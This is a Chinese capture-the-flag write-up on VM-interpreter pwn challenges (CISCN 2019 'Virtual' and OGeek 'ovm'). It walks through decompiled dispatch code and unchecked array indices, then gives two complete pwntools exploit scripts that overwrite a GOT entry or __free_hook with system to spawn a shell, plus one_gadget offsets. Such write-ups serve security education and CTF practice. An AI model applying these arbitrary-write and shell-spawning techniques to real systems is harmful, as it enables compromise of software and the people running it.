感谢南梦师傅博客 南梦爷爷博客

虚拟机保护的pwn

当我们 拿到 一个 虚拟机的 pwn的时候 先看看函数的逻辑

是很多 分支 或者说很多 switch 语句
这样 很大可能说明了 这很有可能是一个 虚拟机 或者是一个 解释器

vm 解释器的 基本认识

寄存器

  1. PC 程序计数器,他存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令
  2. SP 指针寄存器,永远指向当前栈顶。
  3. BP 基质指针。也是用于指向栈的某些位置,在调用函数的时候会用到它
  4. AX 通用寄存器,我们的虚拟机中,它用于存放一条指令执行后的结果

在程序中 PC的初始值指向目标代码的 main 函数

指令集

虚拟机定义的时候 会定义一个 全局变量的 枚举类型 里面有我们需要的指令
如 :MOV,ADD 之类的

通过例题学习

ciscn 2019 华东南 pwn Virtual

题目分析

刚开始的 malloc_all 里面会记录我们的 的输入 的不同段开始的地址 和 对应的 参数个数
例如:stack

在 store 函数中 有个 move 函数 会把我们的输入保存到我们 开始时创建的 对应chunk 中

  1. 首先输入nameinstruction
  2. 让进入到主要函数 以\n\r\t被分割 将我们 输入的instruction 分为一组一组的指令
  3. 分别根据 匹配到的指令将 对应的 值 放入ptr 数组中
  4. 程序一共有 push pop add sub mul div load save 这几个指令

分析得到这里是 给虚拟机 布置指令

void __fastcall ins_stack(__int64 some_data, char *ins)
{
  int idx; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]
  const char *part1; // [rsp+20h] [rbp-10h]
  _QWORD *ptr; // [rsp+28h] [rbp-8h]

  if ( some_data )
  {
    ptr = malloc_0(8LL * *(some_data + 8));
    idx = 0;
    for ( part1 = strtok(ins, delim); idx < *(some_data + 8) && part1; part1 = strtok(0LL, delim) )// \n\r\t被分割
                                                // 
    {
      if ( !strcmp(part1, "push") )
      {
        ptr[idx] = 0x11LL;
      }
      else if ( !strcmp(part1, "pop") )
      {
        ptr[idx] = 0x12LL;
      }
      else if ( !strcmp(part1, "add") )
      {
        ptr[idx] = 0x21LL;
      }
      else if ( !strcmp(part1, "sub") )
      {
        ptr[idx] = 0x22LL;
      }
      else if ( !strcmp(part1, "mul") )
      {
        ptr[idx] = 0x23LL;
      }
      else if ( !strcmp(part1, "div") )
      {
        ptr[idx] = 0x24LL;
      }
      else if ( !strcmp(part1, "load") )
      {
        ptr[idx] = 0x31LL;
      }
      else if ( !strcmp(part1, "save") )
      {
        ptr[idx] = 0x32LL;
      }
      else
      {
        ptr[idx] = '\xFF';
      }
      ++idx;
    }
    for ( i = idx - 1; i >= 0 && mov(some_data, ptr[i]); --i )
      ;
    free(ptr);
  }
}

mov 函数

signed __int64 __fastcall mov(chunk *data, __int64 ptr)
{
  int idx; // [rsp+1Ch] [rbp-4h]

  if ( !data )
    return 0LL;
  idx = data->idx + 1;
  if ( idx == data->size )
    return 0LL;
  *(data->section_ptr + 8LL * idx) = ptr;
  data->idx = idx;
  return 1LL;
}
  1. 然后会到另一个函数,给栈上布置参数
  2. 也是用\n\r\t被分割 将我们的输入 然后保存在虚拟的栈上
void __fastcall num_stack(__int64 a1, char *data)
{
  int v2; // [rsp+18h] [rbp-28h]
  int i; // [rsp+1Ch] [rbp-24h]
  const char *nptr; // [rsp+20h] [rbp-20h]
  _QWORD *ptr; // [rsp+28h] [rbp-18h]

  if ( a1 )
  {
    ptr = malloc_0(8LL * *(a1 + 8));
    v2 = 0;
    for ( nptr = strtok(data, delim); v2 < *(a1 + 8) && nptr; nptr = strtok(0LL, delim) )
      ptr[v2++] = atol(nptr);
    for ( i = v2 - 1; i >= 0 && mov(a1, ptr[i]); --i )
      ;
    free(ptr);
  }
}

布置指令和参数

IDA 在识别的时候出现错误 没有很好的反汇编
我们就看看汇编代码

如果我们 之前输入的 指令 对应的值 -0x11 还小于 0x21 的话这个时候 会把它当作 index 去找到对应的值

然后让程序跳转到对应的指令去 执行虚拟机指令

漏洞分析

程序 分析到这里 就是一个 简单的 虚拟机结构,但是程序没有对数组的下标进行判断
所以,我们可以看i用这个漏洞向我们需要的一个地方写入值。

利用思路

我们可以先泄露 一个 libc 的值,从而 修改一个 函数的 Got 表的值为
system 或者 为 onegadget 的值
从而让我们能直接利用得到 shell

测试
计算出 1 + 3 的值

根据队列来取值 或调用的参数

然后发现 程序每个 值都是更具 对应chunk 前一个 chunk 中更具 idx 来选取的,发现程序没有对 这个 idx 进行判断

sava(data, offset)
sava 函数对 offset 地址赋值为 data
因为没有验证 offset 的值
我们可以 输入负数修改 data chunk 的信息chunk 的 data_chunk 指针为 got 表 从而下次 push 函数会吧这个地址当作我们的 运行段

load(offset)
保存data 段对应 offset 地址的值

然后用到 save 函数把我们 需要的 libc 地址 保存到对应的 libc 表中
从而得到 shell

修改 puts 为 system

from pwn import *
context.log_level='debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def d(s=''):
    gdb.attach(p,s)
# d("b *0x00000000004019FD \n")

p.sendlineafter('name:\n','/bin/sh')
ins = "push push save push load push add push save"
p.sendlineafter('instruction:\n', ins)

offset = -(libc.sym['puts'] - libc.sym['system'])
data_addr=0x000000000404088
data = [data_addr,-3,-12 ,offset ,-12]

payload=""
for i in data:
    payload+=str(i)+" "

# d('b *0x0000000000401A75\nb *0x00000000004019C7\nb*0x0000000000401A5D\n')
p.sendlineafter('data:\n',payload)

p.interactive()

Ogeek 线下pwn

题目分析

程序刚开始 先初始化基础值

然后队 memory 赋值

赋值结束 因为 running = 1
所以进入一个 while 循环 依次进行我们输入的 指令的操作

fetch() 函数

相当于依次获得 memory 数组中存放的 函数指令
reg[15] --> idx

获得指令后 进入 execute(memory[rep[15]])

execute() 函数

函数对应所有的指令操作
将输入的 4 字节分成 4组
操作指令 | 参数c | 参数b | 参数a

对应值对应的操作

0x10 --> reg[c] = memory
0x20 --> reg[c] = memory == 0
0x30 --> reg[c] = ::memory[reg[a]]
0x40 --> ::memory[reg[a]] = reg[c] // 存在任意写
0x50 --> stack[reg[13]++] = reg[c]
0x60 --> reg[c] = stack[--reg[13]] // 存在任意读
0x70 --> reg[c] = reg[a] + reg[b]
0x80 --> reg[c] = reg[b] - reg[a]
0x90 --> reg[c] = reg[a] & reg[b]
0xA0 --> reg[c] = reg[a] | reg[b]
0xB0 --> reg[c] = reg[a] ^ reg[b]
0xC0 --> reg[c] = reg[b] << reg[a]
0xD0 --> reg[c] = reg[b] >> reg[a]
0xE0 --> running = 0
0xFF --> running = 0 打印 reg[] 数组中的 所有值

reg[13] = sp (无符号数)
reg[15] = pc (无符号数) --> 指令存储的 memory 的起始位置

因为没有验证 数组的偏移多少
所有我们 可以想办法 构造 数组的 下标为 负数,从而向上读,可以读取到
got表中的值,让通过指令将 得到的 值保存到一个寄存器中

我们对应的 寄存器 reg[10] 对应的是 dd DWORD 型的

因为我们的 程序是 64位的
但是这个 寄存器保存值只能保存 4 字节
想要保存 8 字节的值 我们需要用到两个寄存器。

我们直接用 赋值操作 + 移位 将这个
0x60 操作下的 reg[13] 的值转化为 负数然后保存在对应的寄存器中

通过这个 方法我们可以实现任意读和任意写,
然后要做的 就是想办法去利用它
首先想到的是 得到libc 然后任意写,有个很巧妙的办法
就是 将最后

comment[0] 指针 覆盖为 一个地方 这样 我们 reg 寄存器中存在值在 退出打印的时候可以的得到libc
然后最后的 read 又能 覆盖comment[0] 这个地址保存值
从而 得到shell
有个方法就是
我们可以修改 comment[0] 指针指向 free_hook -0x8 从而可以先 写入 /bin/sh\x00 + p64(system)
这样最后free(comment[0]) 的时候就能 执行 system("/bin/sh\x00")

修改前

修改后

修改 free_hook

布置 “/bin/sh\x00”参数

from pwn import *
context.log_level = 'debug'
exe = './ovm'
elf = ELF(exe)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def d(s=''):
    gdb.attach(p, s)

def pwn():
    read_offset = libc.sym['read']
    system_offset = libc.sym['system']
    __free_hook_offset = libc.sym['__free_hook']
    offset_free_hook_2_read = __free_hook_offset - read_offset
    offset_system_2_read = system_offset - read_offset

    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    code = [
        0x100d0001, #   reg[13] = 1
        0x10010008, #   reg[0] = 8
        0xc00d0d01, #   reg[13] = 1<<8 => 0x100
        0xc00d0d01, #   reg[13] = 0x100<<8 => 0x10000
        0x1001003e, #   reg[1] = 0x3e 
        0x700d0d01, #   reg[13] = reg[13] + reg[1] = 0x1003e
        0x10010000, #   reg[1] = 0
        0x800D010D, #   reg[13] = reg[1] - reg[13] = 0 - 0x1003e = 0xffc2  ----> -0x3e
                    #   stack[-0x3e] = read_got+0x8
        0x60030000, #   reg[3] = read_got_high_int
        0x60040000, #   reg[4] = read_got_low_int

        0x10020008, #   reg[2] = 8
        0x10050000+((offset_free_hook_2_read>>16)),         #   reg[5] = offset_system_2_read_high
        0x10060000+(0x10000-(offset_free_hook_2_read>>8)%100-2),
        0xc0050502, #   reg[5] = reg[5] << 8
        0x70050506, #   reg[5] = reg[5] + reg[6]
        0x10060000+((offset_free_hook_2_read)%0x100-0x8),
        0xc0050502, #   reg[5] = reg[5] << 8
        0x70050506, #   reg[5] = reg[5] + reg[6]

        0x70040405, #   reg[4] = reg[4] + offset -----> free_hook-8

        0x80020002, # reg[2] = -8
        0x40040002, # memory[-8] =  __free_hook - 8 _low
        0x10020007,
        0x80020002,
        0x40030002, # memory[-9] = _free_hook - 8 _high
        0xff000000
    ]

    p.sendlineafter("PCPC: ", '0')
    p.sendlineafter("SP: ", '0')
    p.sendlineafter("CODE SIZE: ", str(len(code)))
    # d()
    for i in code:
        sleep(0.1)
        p.sendline(str(i))

    # d()
    success("read_offset-->"+hex(read_offset))
    success("offset_free_hook_2_read-->"+hex(offset_free_hook_2_read))

    p.recvuntil("R3: ")
    free_hook = int(p.recv(4),16)<<32
    p.recvuntil("R4: ")
    free_hook += int(p.recv(8),16)+8
    success("free_hook-->"+hex(free_hook))
    libc_base = free_hook - __free_hook_offset
    system = libc.sym['system'] + libc_base
    success("system-->"+hex(system))

    p.sendlineafter("HOW DO YOU FEEL AT OVM?",'/bin/sh\x00'+p64(system))
    p.interactive()


if __name__ == '__main__':
    p = process(exe)
    pwn()


    '''one
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''

点击收藏 | 1 关注 | 1
登录 后跟帖